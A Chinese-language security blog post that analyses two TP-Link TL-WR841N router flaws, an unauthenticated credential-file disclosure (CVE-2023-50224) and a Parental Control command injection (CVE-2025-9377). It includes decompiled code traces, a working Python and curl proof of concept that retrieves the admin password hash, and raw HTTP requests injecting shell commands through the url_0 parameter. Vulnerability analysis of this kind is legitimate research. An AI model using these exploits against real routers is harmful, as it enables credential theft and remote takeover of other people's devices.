Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

TP-Link WR841N router CVE-2023-50224 and CVE-2025-9377

2025-12-28 Updated on 2026-02-01 漏洞分析

Table of Contents

  1. 分析
    1. CVE-2023-50224
      1. 漏洞描述:
      2. 漏洞分析
    2. CVE-2025-9377
      1. 漏洞描述
      2. 漏洞分析
  2. 补丁链接
  3. Reference link
TL; DR


起源是这个 Technical News and Reports about Quad 7 (7777) Botnet aka CovertNetwork-1658 的公告[1] , 顺便想检测一下我修改的IDA-Pro-MCP Headless 是否功能正常[3],所以有了这次的分析

这公告里涉及了两个漏洞:

  • CVE-2023-50224
  • CVE-2025-9377

这里分析的版本是 TL-WR841N(US)_V9_150401 [2]

分析

CVE-2023-50224

漏洞描述:

The first vulnerability is an unauthenticated file disclosure allowing for the retrieval of credentials stored in /tmp/dropbear/dropbearpwd. These credentials were then replayed in the HTTP Basic authentication of the management interface. TP-Link has been tracking this vulnerability internally as TP-Link Vulnerability Disclosure (TPVD) 202321023 TL-WR841N. Patched firmware for the affected devices can be found here.

第一个漏洞是未经身份验证的文件泄露,允许检索存储在 /tmp/dropbear/dropbearpwd 中的凭据。然后,这些凭据会在管理界面的 HTTP 基本身份验证中重放。 TP-Link 一直在内部跟踪此漏洞,编号为 TP-Link 漏洞披露 (TPVD) 202321023 TL-WR841N。可以在此处找到受影响设备的修补固件。

漏洞分析

使用 IDA Pro MCP 一下次就分析出来了

漏洞根因(httpd 函数 0x43fb70)

  1. 第42行:httpRpmConfAdd(2, “/loginFs/“, httpRpmFs) - 注册了 /loginFs/ 路径使用 httpRpmFs 处理

  2. 第41行:httpCtrlConfAdd(“/loginFs/“, ““, ““) - 配置 /loginFs/ 允许任何人访问

  3. httpRpmFs 函数(0x4ee738)会从 /tmp/ 目录读取文件

  4. httpDispatcher(0x4edc24)对 httpRpmFs 处理的请求跳过认证检查

    为什么需要 ./

    根据测试结果,添加 ./ 可能是为了绕过某种路径匹配或规范化检查。./ 表示当前目录,但在字符串匹配层面会改变模式匹配结果。


最终 POC

#!/usr/bin/env python3
“””
CVE-2023-50224 PoC
TP-Link TL-WR841N dropbearpwd Information Disclosure

漏洞:httpd 服务的 /loginFs/ 路径配置为无需认证,
且 httpRpmFs 会从 /tmp/ 目录读取文件。
管理员凭据明文存储在 /tmp/dropbear/dropbearpwd。

关键:需要在路径中添加 “./“ 来绕过某些路径检查。
“””

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import sys

def exploit(target_ip, target_port=80):
# 关键:使用 "./" 绕过路径检查
url = f"http://{target_ip}:{target_port}/loginFs/./dropbear/dropbearpwd"

headers = {
"User-Agent": "Mozilla/5.0",
"Referer": f"http://{target_ip}:{target_port}/"
}

print(f"[*] CVE-2023-50224 - TP-Link TL-WR841N Credential Disclosure")
print(f"[*] Target: {target_ip}:{target_port}")
print(f"[+] URL: {url}")
print()

try:
resp = requests.get(url, headers=headers, timeout=10)

if resp.status_code == 200 and "username:" in resp.text:
print("[+] SUCCESS! Credentials found:")
print("-" * 40)
print(resp.text)
print("-" * 40)
for line in resp.text.strip().split('\n'):
if ':' in line:
key, val = line.split(':', 1)
print(f"[+] {key.capitalize()}: {val}")
else:
print(f"[-] Failed: {resp.text[:100]}")

except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
exploit(ip, port)

Bash 版本

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
TARGET="${1:-192.168.0.1}"
PORT="${2:-80}"

echo "[*] CVE-2023-50224 - TP-Link TL-WR841N Credential Disclosure"
curl -s "http://${TARGET}:${PORT}/loginFs/./dropbear/dropbearpwd" \
-H "Referer: http://${TARGET}:${PORT}/"

使用方法

curl "http://192.168.0.1/loginFs/./dropbear/dropbearpwd" \
-H "Referer: http://192.168.0.1/"

关键点:路径必须使用 /loginFs/./dropbear/dropbearpwd(带 ./),而不是 /loginFs/dropbear/dropbearpwd。

请求后返回 hash 密码

image.png

登录的时候就使用这个 hash 登录就行

CVE-2025-9377

漏洞描述

The second vulnerability is a known Parental Control command injection RCE exploit. In this vulnerability, tampering with the url_0 parameter in the Parental Control page is used to achieve the RCE. The vulnerability is tracked as CVE-2025-9377 (https://www.cve.org/CVERecord?id=CVE-2025-9377) and TPVD202411095 internally. Patched firmware for the affected devices can be found here.

第二个漏洞是已知的家长控制命令注入 RCE 漏洞。该漏洞通过篡改家长控制页面中的url_0参数来实现RCE。该漏洞在内部被跟踪为 CVE-2025-9377 (https://www.cve.org/CVERecord?id=CVE-2025-9377) 和 TPVD202411095。可以在这里找到。

漏洞分析

这是一个位于 TP-Link WR841N 路由器 httpd 程序中的 命令注入漏洞,存在于家长控制(Parental Control)功能中。

漏洞位置

函数 地址 描述
ParentCtrlRpmHandler 0x455EC8 处理 /userRpm/ParentCtrlRpm.htm 请求,解析 url_%d 参数
buildParentCtrlIptablesRule 0x4CC670 构建 iptables 规则,将 URL 拼接到命令中
refreshParentCtrlTbl 0x4CCC24 执行脚本 /tmp/wr841n/parent.sh

漏洞数据流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
用户输入 (url_0 - url_7)
↓
ParentCtrlRpmHandler (0x455EC8:205)
└─ sprintf(v53, "url_%d", v28)
└─ httpGetEnv(a1, v53) ← 获取用户输入
└─ swChkLegalDomain(v31) ← 验证 (可绕过)
└─ strncpy(v27, v31, 30) ← 存储 URL
└─ swSetParentCtrlEntry(v75) ← 保存到数据库
↓
refreshParentCtrlTbl (0x4CCC24:49)
└─ fopen("/tmp/wr841n/parent.sh", "wt")
└─ buildParentCtrlIptablesRule()
↓
buildParentCtrlIptablesRule (0x4CC670:113-118)
└─ sprintf(&v35[v22], "-i %s -m mac --mac-source %s -p tcp --dport 80 -m multiurl --urls %s -j RETURN", ...)
↓ ↑
│ URL未完全过滤
↓
fprintf(parentCtrlScript, "%s\n", v31) ← 写入脚本
↓
execFormatCmd("sh /tmp/wr841n/parent.sh") ← 执行脚本

关键代码片段

1. URL参数处理 (0x4564a0):
1
2
3
4
sprintf(v53, "url_%d", v28);
v29 = (char *)httpGetEnv(a1, (int)v53);
// 验证后存储
strncpy(v27, v31, 30);
  1. 命令构建 (0x4CCB44):

    1
    2
    3
    4
    sprintf(&v35[v22],
    "-i %s -m mac --mac-source %s -p tcp --dport 80 -m multiurl --urls %s -j RETURN",
    LanBridgeName, v27, v33); // v33 包含用户控制的 URL
    fprintf(parentCtrlScript, "%s\n", v31);
  2. 命令执行 (0x4CCED8):

    1
    2
    execFormatCmd("sh /tmp/wr841n/parent.sh");
    // execFormatCmd → tp_systemEx → execve("/bin/sh", ["sh", "-c", cmd], 0)

    验证函数 swChkLegalDomain (0x4779C8)

    白名单字符:”ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-><.,[]{}?/+=|\‘":;~!#$%()` &

攻击向量

攻击者可通过向 /userRpm/ParentCtrlRpm.htm 发送包含恶意 url_0 参数的请求来触发此漏洞,最终实现远程代码执行 (RCE)。

POC HTTP 请求包

1
2
3
4
5
6
GET /userRpm/ParentCtrlRpm.htm?Save=Save&child_mac=AA-BB-CC-DD-EE-FF&url_comment=test&url_0=$(reboot)&url_1=&url_2=&url_3=&url_4=&url_5=&url_6=&url_7=&enable=1&Changed=1&SelIndex=0&scheds_lists=0 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWRtaW46YWRtaW4=
Referer: http://192.168.0.1/userRpm/ParentCtrlRpm.htm
Cookie: Authorization=Basic%20YWRtaW46YWRtaW4%3D
Connection: close
1
2
3
4
5
6
7
8
9
10
GET /GXMKBVFAJEUQVDRA/userRpm/ParentCtrlRpm.htm?child_mac=12-34-56-78-87-65&lan_lists=888&url_comment=test&url_0=1+-j+RETURN;rm+/tmp/1;&url_1=website2&url_2=website3&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=0&SelIndex=1&Page=1&rule_mode=0&Save=Save HTTP/1.1
Host: 192.168.113.130:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.113.130:8080/APZJDUJBAXCTZZYB/userRpm/ParentCtrlRpm.htm?Add=Add&Page=1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Connection: close

补丁链接

https://www.omadanetworks.com/uy/support/faq/4308/
https://www.tp-link.com/us/support/faq/4308/#:~:text=https%3A//static.tp%2Dlink.com/upload/firmware/

Reference link


  1. 1.https://www.tp-link.com/us/support/faq/4365/ ↩
  2. 2.https://github.com/winmin/ida-pro-mcp ↩
  3. 3.https://www.tp-link.com/us/support/download/tl-wr841n/v9/#Firmware ↩
分类: 漏洞分析
标签: CVE-2023-50224 CVE-2025-9377
← Prev 如何给 Linux 内核提交补丁:一次真实的踩坑记录
Next → CVE-2025-32023 Redis 漏洞分析

Comments

© 2015 - 2026 Swing
Powered by Hexo Hexo Theme Bloom